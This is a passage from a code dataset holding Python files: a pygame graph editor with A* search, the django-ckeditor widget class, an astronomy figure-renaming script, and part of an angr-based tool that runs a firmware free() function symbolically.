        return True\r\n        return False\r\n\r\n\r\nclass Text:\r\n    def __init__(self, link, link2, size, index, name):\r\n        self.surface = pygame.image.load(link).convert_alpha()\r\n        self.w, self.h = size\r\n        self.x, self.y = index\r\n        self.surface = pygame.transform.scale(self.surface, (self.w, self.h/6))\r\n        self.name = name + \": \"\r\n        if name == \"Value\":\r\n            self.num = \"0\"\r\n        else:\r\n            self.num = \"\"\r\n        self.mouse = 0\r\n        self.mouse_surface = pygame.image.load(link2).convert_alpha()\r\n        self.mouse_surface = pygame.transform.scale(\r\n            self.mouse_surface, (2, self.h/6))\r\n\r\n    def draw(self):\r\n        screen.blit(self.surface, (self.x, self.y))\r\n        if (self.mouse != 0):\r\n            self.mouse += 1\r\n            if (self.mouse % 7 == 0):\r\n                screen.blit(self.mouse_surface, (self.x - 3 +\r\n                            len(self.name)*14 + len(self.num)*14, self.y))\r\n                self.mouse = 1\r\n        if (self.num == \"\"):\r\n            if self.name == \"Value: \":\r\n                self.num = \"0\"\r\n            else:\r\n                self.num = \"\"\r\n        if self.name == \"Value: \":\r\n            text_surface = font.render(self.name + str(self.num), True, BLACK)\r\n        else:\r\n            text_surface = font.render(self.name + self.num, True, BLACK)\r\n        screen.blit(text_surface, (self.x, self.y))\r\n\r\n    def click(self, x, y):\r\n        if (x > self.x and x < self.x + self.w\r\n           and y > self.y and y < self.y + 20):\r\n            return True\r\n        return False\r\n\r\n    def push(self, event):\r\n        # if(self.num == 0):\r\n        #     return\r\n        if self.name == \"Value: \":\r\n            if event in [pygame.K_0, pygame.K_1, pygame.K_2, pygame.K_3,\r\n                         pygame.K_4, pygame.K_5, pygame.K_6, pygame.K_7,\r\n                         pygame.K_8, pygame.K_9]:\r\n                if (self.mouse != 0):\r\n                    if self.num == \"0\":\r\n                        self.num = str(event - 48)\r\n                    else:\r\n                        self.num += str(event - 48)\r\n        elif event >= 97 and event <= 122:\r\n            if (self.mouse != 0):\r\n                self.num += chr(event - 32)\r\n\r\n        elif event == pygame.K_BACKSPACE:\r\n            if self.num != \"\" and self.num != \"0\":\r\n                self.num = self.num[:len(self.num) - 1]\r\n\r\n\r\nclass ButtonNode:\r\n    def __init__(self, link, link2, size, index, value, name):\r\n        self.surface1 = pygame.image.load(link).convert_alpha()\r\n        self.surface2 = pygame.image.load(link2).convert_alpha()\r\n        self.w, self.h = size\r\n        self.x, self.y = index\r\n        self.check = 0\r\n        self.value = value\r\n        self.name = name\r\n        self.click = False\r\n        self.surface1 = pygame.transform.scale(self.surface1, size)\r\n        self.surface2 = pygame.transform.scale(self.surface2, size)\r\n\r\n    def draw(self, x, y):\r\n        if (self.click == True):\r\n            self.x, self.y = x, y\r\n        if self.check == 0:\r\n            screen.blit(self.surface1, (self.x -\r\n                        (self.w)/2, self.y - (self.h)/2))\r\n        else:\r\n            screen.blit(self.surface2, (self.x -\r\n                        (self.w)/2, self.y - (self.h)/2))\r\n        text_surface = font.render(str(self.value), True, BLACK)\r\n        screen.blit(text_surface, (self.x - (self.w)/2 -\r\n                    len(str(self.value))*7 + 27, self.y - (self.h)/2 + 20))\r\n        text_surface = font.render(self.name, True, BLACK)\r\n        screen.blit(text_surface, (self.x - (self.w)/2 -\r\n                    len(self.name)*10 + 25, self.y - (self.h)/2))\r\n\r\n    def check_click(self, x, y):\r\n        if (self.x - (self.w)/2 < x and self.x + (self.w)/2 > x\r\n                and y > self.y - (self.h)/2 and y < self.y + (self.h)/2):\r\n            self.x, self.y = x, y\r\n            self.click = True\r\n            return True\r\n        return False\r\n\r\n\r\ndef mui_ten(A, B, value):\r\n    pygame.draw.line(screen, BLACK, (A), (B))\r\n    pygame.draw.circle(screen, (255, 0, 220), (B), 5)\r\n    text_surface = font.render(str(value), True, BLACK)\r\n    x, y = (A[0] + B[0])/2, (A[1] + B[1])/2\r\n    screen.blit(text_surface, ((x + B[0])/2 -\r\n                len(str(value))*7 + 27, (y + B[1])/2))\r\n\r\n\r\nclass Matrix:\r\n    def __init__(self):\r\n        self.matrix = []\r\n        self.arr = []\r\n\r\n    def draw(self, x, y, index):\r\n        for i, j, t in self.matrix:\r\n            mui_ten((self.arr[i].x, self.arr[i].y),\r\n                    (self.arr[j].x, self.arr[j].y), t)\r\n\r\n        j = 0\r\n        for i in self.arr:\r\n            if j == index:\r\n                i.check = 1\r\n            else:\r\n                i.check = 0\r\n            j += 1\r\n            i.draw(x, y)\r\n\r\n    def conect(self, A, B, value):\r\n        if ([A, B, value] not in self.matrix):\r\n            self.matrix.append([A, B, value])\r\n\r\n    def push(self, value, name):\r\n        if name not in self.arr:\r\n            self.arr.append(ButtonNode('./btn1.png', './btn2.png',\r\n                            (50, 50), (800, 200), value, name))\r\n\r\n    def delete(self, A, B):\r\n        for i in range(len(self.matrix)):\r\n            if self.matrix[i][0] == A and self.matrix[i][1] == B:\r\n                del self.matrix[i]\r\n\r\n    def check_click(self, x, y):\r\n        for i in range(1, len(self.arr) + 1):\r\n            if (self.arr[-i].check_click(x, y)):\r\n                break\r\n\r\n\r\nclass Node:\r\n    def __init__(self, value) -> None:\r\n        self.value = value\r\n        self.left = None\r\n        self.right = None\r\n\r\n\r\ndef matrix_to_adj_list(matrix):\r\n    num_vertices = len(matrix)\r\n    adj_list = {}\r\n    for i in range(num_vertices):\r\n        adj_list[i] = []\r\n        for j in range(num_vertices):\r\n            if matrix[i][j] != 0:\r\n                adj_list[i].append(j)\r\n    return adj_list\r\n\r\n\r\ndef reconstruct_path(came_from, current):\r\n    path = [current]\r\n    while current in came_from:\r\n        current = came_from[current]\r\n        path.append(current)\r\n    path.reverse()\r\n    return path\r\n\r\n\r\ndef h_score_average(current, goal, graph):\r\n    total_weight = 0\r\n    num_neighbors = 0\r\n    for neighbor, weight in enumerate(graph[goal]):\r\n        if weight > 0:\r\n            num_neighbors += 1\r\n            total_weight += abs(graph[current]\r\n                                [neighbor] - graph[goal][neighbor])\r\n    return total_weight / num_neighbors if num_neighbors > 0 else 0\r\n\r\n\r\ndef Search(matrix, start, goal):\r\n    n = len(matrix.arr)  # Độ dài cạnh của ma trận\r\n    A = [[0 for j in range(n)] for i in range(n)]\r\n    for i in range(len(matrix.matrix)):\r\n        A[matrix.matrix[i][0]][matrix.matrix[i][1]] = matrix.matrix[i][2]\r\n    print(A)\r\n\r\n    open_set = set([start])\r\n    closed_set = set()\r\n    g_score = [float('inf')] * len(matrix.arr)\r\n    g_score[start] = 0\r\n    f_score = [float('inf')] * len(matrix.arr)\r\n    ds_ke = matrix_to_adj_list(A)\r\n    f_score[start] = h_score_average(start, goal, ds_ke)\r\n    came_from = {}\r\n    while open_set:\r\n        # Lấy đỉnh trong danh sách mở có giá trị f-score nhỏ nhất\r\n        current = min(open_set, key=lambda x: f_score[x])\r\n        if current == goal:\r\n            # Đã tìm thấy đường đi từ đỉnh xuất phát đến đỉnh đích\r\n            return reconstruct_path(came_from, current)\r\n        open_set.remove(current)  # Loại bỏ đỉnh hiện tại khỏi danh sách mở\r\n        closed_set.add(current)  # Thêm đỉnh hiện tại vào danh sách đóng\r\n        #\r\n        for neighbor in ds_ke[current]:\r\n            # Tính toán giá trị g-score mới cho đỉnh kề\r\n            tentative_g_score = g_score[current] + A[current][neighbor]\r\n\r\n            # Nếu đỉnh kề chưa được xét, thêm nó vào danh sách mở và cập nhật các thông tin về đỉnh kề\r\n            if neighbor not in g_score or tentative_g_score < g_score[neighbor]:\r\n                open_set.add(neighbor)\r\n                came_from[neighbor] = current\r\n                g_score[neighbor] = tentative_g_score\r\n                f_score[neighbor] = g_score[neighbor] + \\\r\n                    h_score_average(neighbor, goal, ds_ke)\r\n    return None\r\n\r\n\r\nbg_surface = pygame.image.load('./bg.png').convert()\r\nbg_surface = pygame.transform.scale(bg_surface, (width, height))\r\nbtnInsert = Button('./btnInsert.png', (200, 150), (200, 200))\r\nbtnSearch = Button('./btnSearch.png', (200, 150), (200, 310))\r\nbtnConnect = Button('./btnConnect.png', (200, 150), (200, 400))\r\nbtnDelete = Button('./btnDelete.png', (200, 150), (200, 550))\r\ntextInsert1 = Text('./text.png', './mouse.png', (150, 150), (120, 240), \"Name\")\r\ntextInsert2 = Text('./text.png', './mouse.png',\r\n                   (150, 150), (120, 270), \"Value\")\r\ntextSearch = Text('./text.png', './mouse.png', (150, 150), (120, 340), \"Name\")\r\ntextConnect1 = Text('./text.png', './mouse.png',\r\n                    (150, 150), (120, 420), \"Name 1\")\r\ntextConnect2 = Text('./text.png', './mouse.png',\r\n                    (150, 150), (120, 450), \"Name 2\")\r\ntextConnect3 = Text('./text.png', './mouse.png',\r\n                    (150, 150), (120, 480), \"Value\")\r\ntextDelete1 = Text('./text.png', './mouse.png',\r\n                   (150, 150), (120, 580), \"Name 1\")\r\ntextDelete2 = Text('./text.png', './mouse.png',\r\n                   (150, 150), (120, 610), \"Name 2\")\r\n# root = Tree()\r\nmatrix = Matrix()\r\nmatrix.push(10, \"A\")\r\nmatrix.push(15, \"B\")\r\nmatrix.push(20, \"C\")\r\nmatrix.push(25, \"D\")\r\nmatrix.push(25, \"E\")\r\nmatrix.conect(0, 2, 7)\r\nmatrix.conect(0, 1, 15)\r\nmatrix.conect(0, 4, 15)\r\nmatrix.conect(1, 3, 2)\r\nnode_surface = ButtonNode('./btn1.png', './btn2.png',\r\n                          (50, 50), (800, 200), 100, \"A\")\r\nsearch = -1\r\ntexts = [Text('./text.png', './mouse.png', (150, 150), (120, 240), \"Name\"),\r\n         Text('./text.png', './mouse.png', (150, 150), (120, 270), \"Value\"),\r\n         Text('./text.png', './mouse.png', (150, 150), (120, 340), \"Name\"),\r\n         Text('./text.png', './mouse.png', (150, 150), (120, 420), \"Name 1\"),\r\n         Text('./text.png', './mouse.png', (150, 150), (120, 450), \"Name 2\"),\r\n         Text('./text.png', './mouse.png', (150, 150), (120, 480), \"Value\"),\r\n         Text('./text.png', './mouse.png', (150, 150), (120, 580), \"Name 1\"),\r\n         Text('./text.png', './mouse.png', (150, 150), (120, 610), \"Name 2\")]\r\na = []\r\nwhile True:\r\n    screen.blit(bg_surface, (0, 0))\r\n    btnInsert.draw()\r\n    btnSearch.draw()\r\n    btnConnect.draw()\r\n    btnDelete.draw()\r\n    for text in texts:\r\n        text.draw()\r\n\r\n    mouse_x, mouse_y = pygame.mouse.get_pos()\r\n    if len(a) == 0 or search == -1:\r\n        index = -1\r\n    else:\r\n        index = a[search]\r\n        search += 1\r\n        if (search >= len(a)):\r\n            search = -1\r\n    matrix.draw(mouse_x, mouse_y, index)\r\n    events = pygame.event.get()\r\n    for event in events:\r\n        if event.type == pygame.QUIT:\r\n            pygame.quit()\r\n        elif event.type == pygame.MOUSEBUTTONDOWN:  # nếu click chuột\r\n\r\n            pygame.draw.circle(screen, (255, 220, 220), (mouse_x, mouse_y), 15)\r\n            print('Clicked at:', mouse_x, mouse_y)\r\n\r\n            matrix.check_click(mouse_x, mouse_y)\r\n            for text in texts:\r\n                text.mouse = 0\r\n\r\n            for text in texts:\r\n                if text.click(mouse_x, mouse_y) == True:\r\n                    text.mouse = 1\r\n                    break\r\n\r\n            if btnInsert.click(mouse_x, mouse_y) == True:\r\n                if (texts[0].num != \"\"):\r\n                    matrix.push(int(texts[1].num), texts[0].num)\r\n                    texts[1].num = \"0\"\r\n                    texts[0].num = \"\"\r\n                break\r\n            if btnSearch.click(mouse_x, mouse_y) == True:\r\n                if texts[2].num != \"\":\r\n                    d = -1\r\n                    for i in range(len(matrix.arr)):\r\n                        if texts[2].num == matrix.arr[i].name:\r\n                            d = i\r\n                    if d != -1:\r\n                        a = Search(matrix, 0, d)\r\n                        search = 0\r\n                texts[2].num = \"\"\r\n\r\n                break\r\n            if btnConnect.click(mouse_x, mouse_y) == True:\r\n                if (texts[5].num != 0 and texts[3].num != \"\" and texts[4].num != \"\"):\r\n                    d1 = -1\r\n                    d2 = -1\r\n                    for i in range(len(matrix.arr)):\r\n                        if texts[3].num == matrix.arr[i].name:\r\n                            d1 = i\r\n                        if texts[4].num == matrix.arr[i].name:\r\n                            d2 = i\r\n                    if d1 != -1 and d2 != -1:\r\n                        matrix.conect(d1, d2, int(texts[5].num))\r\n                    texts[5].num = \"0\"\r\n                    texts[3].num = \"\"\r\n                    texts[4].num = \"\"\r\n                break\r\n            if btnDelete.click(mouse_x, mouse_y) == True:\r\n                if (texts[6].num != \"\" and texts[7].num != \"\"):\r\n                    d1 = -1\r\n                    d2 = -1\r\n                    for i in range(len(matrix.arr)):\r\n                        if texts[6].num == matrix.arr[i].name:\r\n                            d1 = i\r\n                        if texts[7].num == matrix.arr[i].name:\r\n                            d2 = i\r\n                    if d1 != -1 and d2 != -1:\r\n                        matrix.delete(d1, d2)\r\n                texts[6].num = \"\"\r\n                texts[7].num = \"\"\r\n                break\r\n\r\n        elif event.type == pygame.MOUSEBUTTONUP:\r\n            # node_surface.click = False\r\n            for i in matrix.arr:\r\n                i.click = False\r\n        elif event.type == pygame.KEYDOWN:\r\n            for text in texts:\r\n                if text.mouse != 0:\r\n                    text.push(event.key)\r\n    # node_surface.draw(mouse_x, mouse_y)\r\n    pygame.display.update()\r\n    fpsclock.tick(FPS)\r\n", "repo_name": "ducvu25/pythorn", "sub_path": "Tree/main2.py", "file_name": "main2.py", "file_ext": "py", "file_size_in_byte": 15216, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.time.Clock", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.init", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 29, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 59, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 59, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 60, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 60, "usage_type": "attribute"}, {"api_name": "pygame.K_0", "line_number": 92, "usage_type": "attribute"}, {"api_name": "pygame.K_1", "line_number": 92, "usage_type": "attribute"}, {"api_name": "pygame.K_2", "line_number": 92, "usage_type": "attribute"}, {"api_name": "pygame.K_3", "line_number": 92, "usage_type": "attribute"}, {"api_name": "pygame.K_4", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pygame.K_5", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pygame.K_6", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pygame.K_7", "line_number": 93, "usage_type": "attribute"}, {"api_name": "pygame.K_8", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pygame.K_9", "line_number": 94, "usage_type": "attribute"}, {"api_name": "pygame.K_BACKSPACE", "line_number": 104, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 111, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 111, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 112, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 112, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 119, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 119, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 120, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 120, "usage_type": "attribute"}, {"api_name": "pygame.draw.line", "line_number": 148, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 148, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 149, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 149, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 271, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 271, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 272, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 272, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 323, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 323, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 332, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 332, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 334, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 335, "usage_type": "call"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 336, "usage_type": "attribute"}, {"api_name": "pygame.draw.circle", "line_number": 338, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 338, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONUP", "line_number": 398, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 402, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 407, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 407, "usage_type": "attribute"}]}
{"seq_id": "41207057783", "text": "from django import forms\nfrom django.conf import settings\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.core.serializers.json import DjangoJSONEncoder\nfrom django.forms.widgets import Media\nfrom django.templatetags.static import static\nfrom django.utils.encoding import force_str\nfrom django.utils.functional import Promise\nfrom django.utils.translation import get_language\nfrom js_asset import JS\n\nfrom .configs import DEFAULT_CONFIG\n\n\nclass LazyEncoder(DjangoJSONEncoder):\n    def default(self, obj):\n        if isinstance(obj, Promise):\n            return force_str(obj)\n        return super().default(obj)\n\n\njson_encode = LazyEncoder().encode\n\n\nclass CKEditorWidget(forms.Textarea):\n    \"\"\"\n    Widget providing CKEditor for Rich Text Editing.\n    Supports direct image uploads and embed.\n    \"\"\"\n\n    def __init__(\n        self,\n        config_name=\"default\",\n        extra_plugins=None,\n        external_plugin_resources=None,\n        template_name=\"ckeditor/widget.html\",\n        *args,\n        **kwargs\n    ):\n        self.template_name = template_name\n        super().__init__(*args, **kwargs)\n\n        self.config_name = config_name\n        # Setup config from defaults.\n        self.config = DEFAULT_CONFIG.copy()\n\n        # Try to get valid config from settings.\n        configs = getattr(settings, \"CKEDITOR_CONFIGS\", None)\n        if configs:\n            if isinstance(configs, dict):\n                # Make sure the config_name exists.\n                if self.config_name in configs:\n                    config = configs[self.config_name]\n                    # Make sure the configuration is a dictionary.\n                    if not isinstance(config, dict):\n                        raise ImproperlyConfigured(\n                            'CKEDITOR_CONFIGS[\"%s\"] \\\n                                setting must be a dictionary type.'\n                            % self.config_name\n                        )\n                    # Override defaults with settings config.\n                    self.config.update(config)\n                else:\n                    raise ImproperlyConfigured(\n                        \"No configuration named '%s' \\\n                            found in your CKEDITOR_CONFIGS setting.\"\n                        % self.config_name\n                    )\n            else:\n                raise ImproperlyConfigured(\n                    \"CKEDITOR_CONFIGS setting must be a\\\n                        dictionary type.\"\n                )\n\n        extra_plugins = extra_plugins or self.config.pop(\"extra_plugins\", None) or []\n\n        if extra_plugins:\n            self.config[\"extraPlugins\"] = \",\".join(extra_plugins)\n\n        self.external_plugin_resources = (\n            external_plugin_resources\n            or self.config.pop(\"external_plugin_resources\", None)\n            or []\n        )\n\n    @property\n    def media(self):\n        return Media(\n            css={\"all\": [\"ckeditor/ckeditor.css\"]},\n            js=(\n                JS(\n                    \"ckeditor/ckeditor-init.js\",\n                    {\n                        \"id\": \"ckeditor-init-script\",\n                        \"data-ckeditor-basepath\": getattr(\n                            settings,\n                            \"CKEDITOR_BASEPATH\",\n                            None,\n                        )\n                        or static(\"ckeditor/ckeditor/\"),\n                    },\n                ),\n                \"ckeditor/ckeditor/ckeditor.js\",\n            )\n        )\n\n    def get_context(self, name, value, attrs):\n        context = super().get_context(name, value, attrs)\n\n        self._set_config()\n        context[\"widget\"][\"config\"] = json_encode(self.config)\n\n        external_plugin_resources = [\n            [force_str(a), force_str(b), force_str(c)]\n            for a, b, c in self.external_plugin_resources\n        ]\n        context[\"widget\"][\"external_plugin_resources\"] = json_encode(\n            external_plugin_resources\n        )\n        return context\n\n    def _set_config(self):\n        lang = get_language().lower()\n        if lang == \"zh-hans\":\n            lang = \"zh-cn\"\n        elif lang == \"zh-hant\":\n            lang = \"zh\"\n        self.config[\"language\"] = lang\n", "repo_name": "django-ckeditor/django-ckeditor", "sub_path": "ckeditor/widgets.py", "file_name": "widgets.py", "file_ext": "py", "file_size_in_byte": 4214, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2297, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.core.serializers.json.DjangoJSONEncoder", "line_number": 15, "usage_type": "name"}, {"api_name": "django.utils.functional.Promise", "line_number": 17, "usage_type": "argument"}, {"api_name": "django.utils.encoding.force_str", "line_number": 18, "usage_type": "call"}, {"api_name": "django.forms.Textarea", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 25, "usage_type": "name"}, {"api_name": "configs.DEFAULT_CONFIG.copy", "line_number": 45, "usage_type": "call"}, {"api_name": "configs.DEFAULT_CONFIG", "line_number": 45, "usage_type": "name"}, {"api_name": "django.conf.settings", "line_number": 48, "usage_type": "argument"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 56, "usage_type": "call"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 64, "usage_type": "call"}, {"api_name": "django.core.exceptions.ImproperlyConfigured", "line_number": 70, "usage_type": "call"}, {"api_name": "django.forms.widgets.Media", "line_number": 88, "usage_type": "call"}, {"api_name": "js_asset.JS", "line_number": 91, "usage_type": "call"}, {"api_name": "django.conf.settings", "line_number": 96, "usage_type": "argument"}, {"api_name": "django.templatetags.static.static", "line_number": 100, "usage_type": "call"}, {"api_name": "django.utils.encoding.force_str", "line_number": 114, "usage_type": "call"}, {"api_name": "django.utils.translation.get_language", "line_number": 123, "usage_type": "call"}]}
{"seq_id": "44115036472", "text": "import os\nfrom argparse import ArgumentParser, RawTextHelpFormatter\nfrom astropy.table import Table\n\n###################################################################\n\nparser = ArgumentParser(description=\"Create new moment maps for (cleaned!) line cubes for a given taskid, beam, cubes\",\n                        formatter_class=RawTextHelpFormatter)\n\nparser.add_argument('-t', '--taskid', default='190915041',\n                    help='Specify the input taskid (default: %(default)s).')\n\nparser.add_argument('-c', '--cubes', default='1,2,3',\n                    help='Specify the cubes on which to do source finding (default: %(default)s).')\n\nparser.add_argument('-s', '--sources', default='all',\n                    help='Specify sources to flag if necessary.  Can specify range or list. (default: %(default)s).')\n\nparser.add_argument('-p', '--prefix', default=None,\n                    help='Add a prefix to the file name (making new ones?). (default: %(default)s).')\n\nparser.add_argument('-w', '--smooth', action='store_true',\n                    help='If option is included apply edits to the smoothed SIP images.')\n\n###################################################################\n\n# Parse the arguments above\nargs = parser.parse_args()\n\n# Range of cubes/sources to work on:\ntaskid = args.taskid\ncubes = [int(c) for c in args.cubes.split(',')]\nif args.prefix:\n    prefix = args.prefix + '_'\nelse:\n    prefix = ''\n\nmos_loc = 'mos_' + taskid + '/'\nfor c in cubes:\n    filename = taskid + '_HIcube' + str(c) + '_clean_image'\n    if args.smooth:\n        filename = taskid + '_HIcube' + str(c) + '_clean_smooth_image'\n    catalog = Table.read(mos_loc + filename + '_cat.xml')\n\n    if args.sources == 'all':\n        sources = [str(s + 1) for s in range(len(catalog))]\n    elif '-' in args.sources:\n        src_range = args.sources.split('-')\n        sources = [str(s + int(src_range[0])) for s in range(int(src_range[1]) - int(src_range[0]) + 1)]\n    else:\n        sources = [str(s) for s in args.sources.split(',')]\n\n    for s in sources:\n        cat = catalog[catalog['id'] == int(s)]\n        if len(cat) > 0:\n            infile = f\"{mos_loc}{filename}_figures/{filename}_{s}_combo.png\"\n            outfile = f\"{mos_loc}{filename}_figures/{prefix}AHC{cat['name'][0].split(' ')[1]}_{taskid}_{s}_combo.png\"\n            os.system(f\"mv {infile} {outfile}\")\n", "repo_name": "kmhess/aper_sf2", "sub_path": "src/rename_combo.py", "file_name": "rename_combo.py", "file_ext": "py", "file_size_in_byte": 2359, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 7, "usage_type": "call"}, {"api_name": "argparse.RawTextHelpFormatter", "line_number": 8, "usage_type": "name"}, {"api_name": "astropy.table.Table.read", "line_number": 43, "usage_type": "call"}, {"api_name": "astropy.table.Table", "line_number": 43, "usage_type": "name"}, {"api_name": "os.system", "line_number": 58, "usage_type": "call"}]}
{"seq_id": "28449035988", "text": "import logging \nimport json \nimport operator\n\nfrom configparser import ConfigParser\nfrom pathlib import Path\n\nfrom .execute_pointer_sources import call_malloc\nfrom .exploration_techniques import FreeExecution, HeartBeat\n\nfrom ..analyses.arguments_analyses import filter_unused_args\nfrom ..utils import *\n\nfrom angrcli.interaction.explore import ExploreInteractive\nimport angrcli.plugins.ContextView\nimport angrcli.plugins.watches\n\nl = logging.getLogger(\"execute_free     \")\nl.setLevel(logging.INFO)\n\nconfig = ConfigParser()\nconfig.read((Path(__file__).parent.parent / \"./heapster.ini\").resolve())\n\n\ndef dse_it(state, hooks):\n\n    sm = state.project.factory.simgr(state)\n\n    dfs = angr.exploration_techniques.DFS()\n    ed = ExplosionDetector(threshold=int(config[\"fix_hml\"][\"dse_max_states\"]))\n    free_exec = FreeExecution(current_hooks=hooks)\n    \n    sm.use_technique(dfs)\n    sm.use_technique(ed)\n    sm.use_technique(free_exec)\n    sm.use_technique(HeartBeat())\n\n    def timeout():\n        l.debug(\"Timeout during DSE has been reached.\")\n        ed.timed_out.set()\n    timer = Timer(int(config[\"fix_hml\"][\"dse_timeout\"]), timeout)\n\n    l.info(\"[+]   Starting timer [{} seconds]\".format(config[\"fix_hml\"][\"dse_timeout\"]))\n    timer.start()\n    start_time = time.time()\n    sm.run() # Run it! \n    timer.cancel()\n    end_time = time.time()\n\n    # Calculate delta of latest function if didn't end properly.\n    if free_exec.current_function in free_exec.executed_funcs.keys():\n        free_exec.executed_funcs[free_exec.current_function] += (end_time - start_time)\n\n    # Stop exploration has been forced from timeout, something went wrong.\n    if ed.timed_out_bool:\n        l.info(\"[!]   Exploration timeout is expired!\")\n        # If we timeout we try to skip the function in which we spent the most time.\n        func_to_skip = max(free_exec.executed_funcs.items(), key=operator.itemgetter(1))[0]\n        l.info(\"[+]   Spent {} in func {}. Hooking it next time.\".format(free_exec.executed_funcs[func_to_skip], hex(func_to_skip)))\n        if func_to_skip == state.project.kb.functions[state.addr].addr:\n            l.fatal(\"[!] We should skip the entire free. This can't be done, something is wrong. Aborting.\")\n            assert(False)\n        return False, func_to_skip\n\n    return True, free_exec.last_state\n\ndef call_free(base_state, hb_state, chunk_to_free):\n    l.debug(\"Deallocating chunk {}\".format(hex(chunk_to_free)))\n    project = base_state.project\n\n    free_addr = int(hb_state[\"final_allocator\"][\"free\"], 16)\n    free = project.kb.functions[free_addr]\n\n    free_prototype = json.loads(hb_state[\"free_prototype\"])\n    free_param = [] \n    free_prototype_args = []\n    free_cc_args = free.calling_convention.args\n\n    for f_arg_key, f_arg_val in free_prototype.items():\n        if f_arg_key == 'ret':\n            continue\n        else:\n            free_prototype_args.append(f_arg_val)\n\n    cs = project.factory.call_state(free.addr,  base_state=base_state, ret_addr=0xdeadbeef)\n    cs.regs.sp = project.arch.initial_sp\n\n    # Just to make sure \n    setattr(cs.regs, \"lr\", 0xdeadbeef)\n    cs.callstack.ret_addr = 0xdeadbeef\n    cs.callstack_return_address = 0xdeadbeef\n\n    # Setup parameter for free.\n    for f_arg, f_cc_reg in zip(free_prototype_args, free_cc_args):\n        if f_arg != \"ptr_to_free\":\n            arg_val = hb_state[\"free_unknown_arguments_vals\"][f_cc_reg.reg_name][0]\n        else:\n            arg_val = cs.solver.BVV(chunk_to_free, project.arch.bits)\n        setattr(cs.regs, f_cc_reg.reg_name, arg_val) \n\n    # Emulate until we can hit the end of the function.\n    success = False\n    hooks = set()\n    attempt = 0\n    while success == False:\n        l.info(\"[+]  Attempt {}. Executing free with {} hooks.\".format(attempt + 1, len(hooks)))\n        for j,h in enumerate(hooks):\n            l.info(\"[+]   Hook-{}: {}\".format(j, hex(h)))\n        success, result = dse_it(cs, hooks)\n        if success == False:\n            l.debug(\"[+]   Skipping function {} next time\".format(hex(result)))\n            # result is the function we need to skip next time.\n            hooks.add(result)\n        else:\n            if result != None and result.solver.eval(result.regs.pc) == 0xdeadbeef:\n                l.info(\"[+]  ✓ Successfully executed free.\")\n            else:\n                l.debug(\"[!] ✗ Free could not reach end of execution.\")\n                l.debug(\"[!] This can be a fatal error or simply due to hooks inserted in the algorithm.\")\n                l.debug(\"Current hooks {}\".format(hooks))\n                \n            # result is the final state at this point.\n            return result, hooks\n        attempt += 1", "repo_name": "ucsb-seclab/heapster", "sub_path": "heapster-env/heapster/identify_hotspots/execute_free.py", "file_name": "execute_free.py", "file_ext": "py", 